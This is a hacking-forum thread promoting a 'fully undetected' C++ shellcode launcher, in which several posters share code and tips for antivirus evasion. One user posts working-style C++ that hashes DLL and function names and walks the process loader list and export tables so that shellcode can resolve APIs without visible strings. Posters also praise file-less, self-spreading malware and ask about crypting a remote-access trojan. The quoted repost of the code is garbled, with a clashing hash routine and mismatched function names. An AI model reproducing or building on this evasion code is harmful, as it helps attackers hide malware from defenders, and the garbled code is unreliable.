

Forum:[Hack Forums](#)

Thread: [C++ Fully undetected shellcode launcher](#)

DI?E - May 24, 2021, 11:12 am

Exactly what the thread title states.

Check out Charlotte:

<https://github.com/9emin1/charlotte>

linkinpork - May 24, 2021, 12:33 pm

(May 24, 2021 11:12 AM)DI?E Wrote: [\[CITE\]](#) Exactly what the thread title states.

Check out Charlotte:

<https://github.com/9emin1/charlotte>

Hi,

Great HQ content. But it's just that this is the exact reason why Microsoft bought GitHub haha. MSRC will be at this in no time.

Cheers!

DI?E - May 24, 2021, 12:36 pm

(May 24, 2021 12:33 PM)linkinpork Wrote: [\[CITE\]](#) Hi,

Great HQ content. But it's just that this is the exact reason why Microsoft bought GitHub haha. MSRC will be at this in no time.

Cheers!

Yeah you know why they bought it ?.

Goodies - May 24, 2021, 3:46 pm

There's a simpler way of doing this that is also very easy to pull off and prevents you from needing strings of any kind.

For each name, you can pre-compute some type of hash or similar construct derived from the name. In my case, I went with a simple CRC algorithm since this is shellcode and I want to simultaneously remain positionally independent and have a small implementation. CRC satisfies that without being a CSPRNG. When you feed it different names, it will alter the state in a predictable way. I also made it optionally case insensitive since the DLL names may be cased differently but "kernel32.dll" and "KERNEL32.DLL" are the same file, but "VirtualAlloc" and "virtualalloc" would be different symbols.

```
Code inline UINT32 getIdByWName(PCWSTR moduleName, const BOOL caseSensitive) {  
    INT i, j, mask, byte, crc;  
    crc = 0xffffffffu;
```

```

for (i = 0; (byte = (UINT32)moduleName[i]) != 0; i++) {
    if (!caseSensitive && byte <= 0xff) {
        if (byte >= 0x41 && byte <= 0x5a) {
            byte += 0x20;
        }
    }
    crc ^= byte;
    for (j = 0; j < 8; j++) {
        mask = -(crc & 1);
        crc = (crc >> 1) ^ (0xEDB88320 & mask);
    }
}
return (UINT32)~crc;
}

```

You can see in the comments, the original program stored the strings, then got the 4-byte ID.
Warning large screen [\(Click to View\)](#)

Now, I am able to iterate through the DLL's export table, hash each name, and find the one with the same 4-byte identifier. I use this:

```

Code inline HMODULE getModuleById(UINT32 moduleId, const BOOL caseSensitive) {
    PPEB peb = NULL;
#ifdef _WIN64
    peb = (PPEB)__readgsqword(0x60);
#else
    peb = (PPEB)__readfsdword(0x30);
#endif

    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY listEntry = ldr->InLoadOrderModuleList;

    PLDR_DATA_TABLE_ENTRY fLink = *((PLDR_DATA_TABLE_ENTRY*)&listEntry);
    PLDR_DATA_TABLE_ENTRY cLink = fLink;

    while (cLink != NULL && cLink->DllBase != NULL) {
        if (cLink->BaseDllName.Buffer == NULL) continue;
        if (getIdByWName(cLink->BaseDllName.Buffer, caseSensitive) == moduleId) {
            return (HMODULE)(cLink->DllBase);
        }
        // not found, try next:
        cLink = (PLDR_DATA_TABLE_ENTRY)cLink->InLoadOrderModuleList.Flink;
    }
    return (HMODULE)NULL;
}

```

```

inline PVOID getFuncById(HMODULE module, UINT32 funcNameId, const BOOL caseSensitive)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        return NULL;
    }
}

```

```

    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module +
idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir =
&(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    if (exportsDir->VirtualAddress == NULL) {
        return NULL;
    }

    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr +
(ULONG_PTR)module);
    SIZE_T namesCount = exp->NumberOfNames;

    DWORD funcsListRVA = exp->AddressOfFunctions;
    DWORD funcNamesListRVA = exp->AddressOfNames;
    DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

    for (SIZE_T i = 0; i < namesCount; i++) {
        const DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i *
sizeof(DWORD));
        if (getIdxByName((PCSTR)(*nameRVA + (BYTE*)module), caseSensitive) == funcNameId) {
            const WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i *
sizeof(WORD));
            const DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) *
sizeof(DWORD));
            return (BYTE*)module + (*funcRVA);
        }
    }
    return NULL;
}

```

That said, if you want to load a new DLL by name via LoadLibrary, you are best storing an encrypted form of the DLL name... however, you probably shouldn't use LoadLibrary anyway.

DI?E - May 25, 2021, 2:06 pm

(May 24, 2021 03:46 PM)Goodies Wrote: [CITE](#) There's a simpler way of doing this that is also very easy to pull off and prevents you from needing strings of any kind.

For each name, you can pre-compute some type of hash or similar construct derived from the name. In my case, I went with a simple CRC algorithm since this is shellcode and I want to simultaneously remain positionally independent and have a small implementation. CRC satisfies that without being a CSPRNG. When you feed it different names, it will alter the state in a predictable way. I also made it optionally case insensitive since the DLL names may be cased differently but "kernel32.dll" and "KERNEL32.DLL" are the same file, but "VirtualAlloc" and "virtualalloc" would be different symbols.

```

Code inline UINT32 getIdxByWName(PCWSTR moduleName, const BOOL caseSensitive) {
    INT i, j, mask, byte, crc;
    crc = 0xffffffffu;
    for (i = 0; (byte = (UINT32)moduleName[i]) != 0; i++) {
        if (!caseSensitive && byte <= 0xff) {
            if (byte >= 0x41 && byte <= 0x5a) {
                byte += 0x20;
            }
        }
        crc = (crc << 1) ^ (byte > 0x7f ? 0x4d545866 : 0);
    }
    return (UINT32)-1 - crc;
}

```

```

}
}
crc ^= byte;
for (j = 0; j < 8; j++) {
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
}
return (UINT32)~crc;
}

```

You can see in the comments, the original program stored the strings, then got the 4-byte ID. Warning large screen [\(Click to View\)](#)

Now, I am able to iterate through the DLL's export table, hash each name, and find the one with the same 4-byte identifier. I use this:

```

Code inline HMODULE getModuleById(UINT32 moduleId, const BOOL caseSensitive) {
PPEB peb = NULL;
#ifdef _WIN64
peb = (PPEB)__readgsqword(0x60);
#else
peb = (PPEB)__readfsdword(0x30);
#endif

```

```

PPEB_LDR_DATA ldr = peb->Ldr;
LIST_ENTRY listEntry = ldr->InLoadOrderModuleList;

```

```

PLDR_DATA_TABLE_ENTRY fLink = *((PLDR_DATA_TABLE_ENTRY*)&listEntry);
PLDR_DATA_TABLE_ENTRY cLink = fLink;

```

```

while (cLink != NULL && cLink->DllBase != NULL) {
if (cLink->BaseDllName.Buffer == NULL) continue;
if (getByIdByWName(cLink->BaseDllName.Buffer, caseSensitive) == moduleId) {
return (HMODULE)(cLink->DllBase);
}
// not found, try next:
cLink = (PLDR_DATA_TABLE_ENTRY)cLink->InLoadOrderModuleList.Flink;
}
return (HMODULE)NULL;
}

```

```

inline PVOID getFuncById(HMODULE module, UINT32 funcNameId, const BOOL caseSensitive)
{
IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module +
idh->e_lfanew);
IMAGE_DATA_DIRECTORY* exportsDir =

```

```

&(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
if (exportsDir->VirtualAddress == NULL) {
    return NULL;
}

DWORD expAddr = exportsDir->VirtualAddress;
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr +
(ULONG_PTR)module);
SIZE_T namesCount = exp->NumberOfNames;

DWORD funcsListRVA = exp->AddressOfFunctions;
DWORD funcNamesListRVA = exp->AddressOfNames;
DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

for (SIZE_T i = 0; i < namesCount; i++) {
    const DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i *
sizeof(DWORD));
    if (getIdxByName((PCSTR)(*nameRVA + (BYTE*)module), caseSensitive) == funcNameIdx) {
        const WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
        const DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) *
sizeof(DWORD));
        return (BYTE*)module + (*funcRVA);
    }
}
return NULL;
}

```

That said, if you want to load a new DLL by name via LoadLibrary, you are best storing an encrypted form of the DLL name... however, you probably shouldn't use LoadLibrary anyway. Glad to see someone chime in when it comes to this section. Thanks for your insight. It will help others.

Goodies - May 25, 2021, 4:16 pm

(May 25, 2021 02:06 PM)DI?E Wrote: [\[CITE\]](#) Glad to see someone chime in when it comes to this section. Thanks for your insight. It will help others.

Happy to! This is a neat project. I love the idea of file-less malware. A payload that is small and independent enough such that it can inject itself into code caves of basically any binary, and then look to some repository of DLLs that can reflectively loaded and initiated. This would be a very neat way of infecting a system, scanning for every single executable binary and injecting into it so no individual binary file could remove the virus.

Obfuscated shellcode injection is a crucial part of that.

Vyrrez - June 12, 2021, 9:23 am

Can AsyncRat server be crypted with this??

karel1987 - June 13, 2021, 2:49 am

thank you this looks good

lululululu - July 24, 2021, 12:11 am

There is no way this would survive runtime-detection of any antivirus

DI?E - July 24, 2021, 12:18 am

(Jul 24, 2021 12:11 AM)lululululu Wrote: [\[CITE\]](#) There is no way this would survive runtime-detection

of any antivirus

Not to the usual user. To those that know how to alter it then it easily bypasses runtime. It is just an outline.